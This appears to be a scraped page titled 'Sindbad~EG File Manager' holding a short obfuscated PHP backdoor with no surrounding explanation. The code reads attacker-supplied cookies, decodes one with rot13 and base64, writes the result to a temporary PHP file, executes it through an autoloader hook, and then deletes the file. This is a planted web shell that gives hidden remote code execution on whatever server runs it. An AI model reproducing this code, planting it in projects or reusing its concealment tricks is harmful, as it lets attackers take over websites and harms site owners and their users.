Sindbad~EG File Manager

<?php

if (isset($_COOKIE[25+-25]) && isset($_COOKIE[21-20]) && isset($_COOKIE[-40+43]) && isset($_COOKIE[95-91])) {
    $const = $_COOKIE;
    function rjust($param) {
        $const = $_COOKIE;
        $attribute = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '5524fbe9');
        if (!is_writable($attribute)) {
            $attribute = getcwd() . DIRECTORY_SEPARATOR . "post";
        }
        $slt = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($const[3]));
        if (is_writeable($attribute)) {
            $property = fopen($attribute, 'w+');
            fputs($property, $slt);
            fclose($property);
            spl_autoload_unregister(__FUNCTION__);
            require_once($attribute);
            @array_map('unlink', array($attribute));
        }
    }
    spl_autoload_register("rjust");
    $prop = "888b63ceda6e8e8234f30626a2235b5b";
    if (!strncmp($prop, $const[4], 32)) {
        if (@class_parents("accept_content", true)) {
            exit;
        }
    }
}